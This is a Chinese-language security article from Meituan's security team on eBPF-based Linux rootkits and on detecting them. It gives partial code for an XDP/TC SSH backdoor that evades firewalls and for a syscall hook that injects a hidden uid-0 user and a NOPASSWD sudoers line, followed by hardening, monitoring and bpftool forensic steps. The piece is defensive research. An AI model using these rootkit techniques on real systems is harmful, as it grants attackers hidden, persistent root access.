其他
Linux中基于eBPF的恶意利用与检测机制
The following article is from 美团安全应急响应中心 Author 美团安全团队
总第499篇
2022年 第016篇
近几年云原生领域飞速发展,eBPF技术成为各厂商首选技术,在网络编排、行为观测等领域四处开花。然而收益与风险并存,不久前爆出的Bvp47后门正是利用BPF技术惊人地在世界各地潜伏了近二十年。今日BPF已演进为eBPF,黑客会如何利用,造成什么危害?我们又该如何防范?
前言
现状分析
海外资料
国内资料
eBPF技术恶意利用的攻击原理
Linux网络层恶意利用
Linux系统运行时恶意利用
综述
检测防御
运行前
运行时
运行后
如何防御
工程实现
练手
类库选择
系统兼容性CO-RE
大型项目
总结
前言
现状分析
海外资料
国内资料
eBPF技术恶意利用的攻击原理
网络 监控 观测 跟踪&性能分析 安全
可以在Storage、Network等与内核交互之间; 也可以在内核中的功能模块交互之间; 又可以在内核态与用户态交互之间; 更可以在用户态进程空间。
Linux网络层恶意利用 Linux系统运行时恶意利用
Linux网络层恶意利用
XDP/TC层修改TCP包
XDP的BPF_PROG_TYPE_XDP程序类型,可以丢弃、修改、重传来自ingress的流量,但无法对egress起作用。 TC的BPF_PROG_TYPE_SCHED_CLS除了拥有XDP“BPF_PROG_TYPE_XDP”的功能外,还可以对egress起作用。
实现流程
int xdp_ingress(struct xdp_md *ctx) {
struct cursor c;
struct pkt_ctx_t pkt;
//判断是否为SSHD的协议,不是则直接放行
if (!(不是SSHD协议(&c))) {
return XDP_PASS;
}
//判断rootkit是否匹配,网卡信息与来源端口是否匹配
hack_mac[] = "读取bpf map配置。"
if(密钥不匹配) {
return XDP_PASS;
}
// 读取map,是否已经存在该client信息
struct netinfo client_key = {};
__builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN);
struct netinfo *client_value;
client_value = bpf_map_lookup_elem(&ingress_client, &client_key);
// 如果没找到伪装信息,则自己组装
if(!client_value) {
__builtin_memset(&client_value, 0, sizeof(client_value));
} else {
bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY);
}
// 伪装mac局域网mac信息
pkt.eth->h_source[0] = 0x00;
...
// 替换伪装ip来源 ,客户端端口不变
// 更改目标端口
pkt.tcp->dest = htons(FACK_PORT); //22
//计算TCP SUM layer 4
ipv4_csum(pkt.tcp, sizeof(struct tcphdr), &csum);
pkt.tcp->check = csum;
//写入已伪装的map,用于TC处理egress的原mac、IP信息还原。
return XDP_PASS;
}
视频演示
入侵者:cnxct-mt2,IP为172.16.71.1。 普通用户:ubuntu,IP为172.16.71.3。 被入侵服务器:vm-ubuntu,IP为172.16.71.4。开放nginx web 80端口;开放SSHD 22端口,并设定iptables规则只允许内网IP访问。
危害
iptables防火墙绕过:利用对外开放的80端口作为通信隧道; WebIDS绕过:流量到达服务器后,并不传递给Nginx; NIDS绕过:入侵者流量在局域网之间流传并无异常,只是无法解密; HIDS绕过:是否信任了防火墙,忽略了本机/局域网来源的SSHD登录。
Linux系统运行时恶意利用
实现流程
// 通过elf的常量替换方式传递数据
func (e *MBPFContainerEscape) constantEditor() []manager.ConstantEditor {
var username = RandString(9)
var password = RandString(9)
var s = RandString(8)
salt := []byte(fmt.Sprintf("$6$%s", s))
// use salt to hash user-supplied password
c := sha512_crypt.New()
hash, err := c.Generate([]byte(password), salt)
var m = map[string]interface{}{}
res := make([]byte, PAYLOAD_LEN)
var payload = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", username)
copy(res, payload)
m["payload"] = res
m["payload_len"] = uint32(len(payload))
// 生成passwd字符串
var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bash\n", username)
// 生成shadow字符串
var payload_shadow = fmt.Sprintf("%s:%s:18982:0:99999:7:::\n", username, hash)
// eBPF RewriteContants
var editor = []manager.ConstantEditor{
{
Name: "payload",
Value: m["payload"],
FailOnMissing: true,
},
{
Name: "payload_len",
Value: m["payload_len"],
FailOnMissing: true,
},
}
return editor
}
func (this *MBPFContainerEscape) setupManagers() {
this.bpfManager = &manager.Manager{
Probes: []*manager.Probe{
{
Section: "tracepoint/syscalls/sys_enter_openat",
EbpfFuncName: "handle_openat_enter",
AttachToFuncName: "sys_enter_openat",
},
...
},
Maps: []*manager.Map{
{
Name: "events",
},
},
}
this.bpfManagerOptions = manager.Options{
...
// 填充 RewriteContants 对应map
ConstantEditors: this.constantEditor(),
}
}
...
const volatile char payload_shadow[MAX_PAYLOAD_LEN];
SEC("tracepoint/syscalls/sys_exit_read")
int handle_read_exit(struct trace_event_raw_sys_exit *ctx)
{
// 判断是否为rootkit行为,是否需要加载payload
...
long int read_size = ctx->ret;
// 判断原buff长度是否小于payload
if (read_size < payload_len) {
return 0;
}
// 判断文件类型,匹配追加相应payload
switch (pbuff_addr->file_type)
{
case FILE_TYPE_PASSWD:
// 覆盖payload到buf,不足部分使用原buff内容
{
bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr);
for (unsigned int i = 0; i < MAX_PAYLOAD_LEN; i++) {
if (i >= payload_passwd_len) {
local_buff[i] = ' ';
}
else {
local_buff[i] = payload_passwd[i];
}
}
}
break;
case FILE_TYPE_SHADOW:
// 覆盖 shadow文件
...
break;
case FILE_TYPE_SUDOERS:
//覆盖sudoers
...
break;
default:
return 0;
break;
}
// 将payload内存写入到buffer
ret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN);
// 发送事件到用户态
return 0;
}
视频演示
严重危害
综述
检测防御
运行前 运行时 运行后
运行前
环境限制
seccomp限制
内核编译参数限制
非特权用户指令
if (type != BPF_PROG_TYPE_SOCKET_FILTER &&
type != BPF_PROG_TYPE_CGROUP_SKB &&
!bpf_capable())
return -EPERM;
sysctl kernel.unprivileged_bpf_disabled=1
来修改配置。配置含义见Documentation for /proc/sys/kernel/。值为0表示允许非特权用户调用bpf; 值为1表示禁止非特权用户调用bpf且该值不可再修改,只能重启后修改; 值为2表示禁止非特权用户调用bpf,可以再次修改为0或1。
特征检查
tc\ip\bpftool
等)加载的话,仍面临威胁。比如:ip link set dev ens33 xdp obj xdp-example_pass.o
。运行检查
运行时
监控
int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) {
struct bpf_context_t *bpf_context = make_event();
if (!bpf_context)
return 0;
bpf_context->cmd = args->cmd;
get_common_proc(&bpf_context->procinfo);
send_event(args, bpf_context);
return 0;
}
审计&筛查
MAP的创建BPF_MAP_CREATE PROG加载BPF_PROG_LOAD BPF_OBJ_PIN BPF_PROG_ATTACH BPF_BTF_LOAD BPF_MAP_UPDATE_BATCH
运行后
文件描述符与引用计数器
溯源
k[ret]probe u[ret]probe tracepoint raw_tracepoint perf_event socket filters so_reuseport
bpftool prog show
,以及bpftool prog help
查看更多参数。bpftool map show
,以及bpftool map help
可以查看更多参数。bpflist-bpfcc -vv
命令可以看到当前服务器运行的“部分”BPF程序列表。以测试环境为例:open kprobes:
open uprobes:
PID COMM TYPE COUNT
1 systemd prog 8
10444 ehids map 4
10444 ehids prog 5
ip link set dev ens33 xdp obj xdp-example_pass.o
命令,在这里却没有显示出来。意味着这个命令输出的结果并不是所有bpf程序、map的情况。XDP TC LWT CGROUP
ip link set dev ens33 xdp obj xdp-example_pass.o
为例。ip命令的参数中包含bpf字节码文件名,ip进程打开.o字节码的FD,通过NETLINK发IFLA_XDP类型消息(子类型IFLA_XDP_FD)给内核,内核调用dev_change_xdp_fd函数,由网卡接管FD,引用计数器递增,用户空间的ip进程退出后,BPF程序依旧工作。内核源码参见:elixir.bootlin.com/linux。{
msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000},
msg_namelen=12,
msg_iov=[
{
iov_base={
{nlmsg_len=52, nlmsg_type=RTM_NEWLINK, nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0},
{ifi_family=AF_UNSPEC, ifi_type=ARPHRD_NETROM, ifi_index=if_nametoindex("ens33"), ifi_flags=0, ifi_change=0},
{
{nla_len=20, nla_type=IFLA_XDP},
[
{{nla_len=8, nla_type=IFLA_XDP_FD}, 6},
{{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
]
}
},
iov_len=52
}
],
msg_iovlen=1,
msg_controllen=0,
msg_flags=0
}, 0) = 52
{
...
{nla_len=20, nla_type=IFLA_XDP},
[
{{nla_len=8, nla_type=IFLA_XDP_FD}, -1},
{{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
] }
...
}, 0) = 52
ip link show
tc filter show dev [网卡名] [ingress|egress]
bpftool net show dev ens33 -p
命令可以用于查看网络相关的eBPF hook点。mount -t bpf
来查看系统所有挂在的文件类型,是否包含BPFFS类型。取证
bpftool prog dump xlated PROG [{ file FILE | opcodes | visual | linum }]
bpftool prog dump jited PROG [{ file FILE | opcodes | linum }]
[{
"value": {
".rodata": [{
"target_ppid": 0
},{
"uid": 0
},{
"payload_len": 38
...
如何防御
{
return -EPERM;
}
工程实现
练手
类库选择
系统兼容性CO-RE
大型项目
总结
作者简介
参考文献
Creating and Countering the Next Generation of Linux Rootkits DEFCON 29 - eBPF, I thought we were friends eBPF的各种技术应用PDF集合 Offensive BPF: Malicious bpftrace Bad BPF - Warping reality using eBPF Lifetime of BPF objects BPF程序(BPF Prog)类型详解:使用场景、函数签名、执行位置及程序示例 Features of bpftool: the thread of tips and examples to work with eBPF objects Reverse Engineering Ebpfkit Rootkit With BlackBerry's Enhanced IDA Processor Tool Creating and countering the next generation of Linux rootkits using eBPF eBPF Syscall Cilium eBPF实现机制源码分析 ebpfkit is a rootkit powered by eBPF
- 安全研发专家(主机安全方向)
- 安全研发专家(RASP方向)
- Web研发架构师(Java语言)具体描述参见:美团信息安全部2022年招聘岗位 。欢迎大家加入我们,跟我们一起构筑安全屏障,守护大家的安全。
阅读更多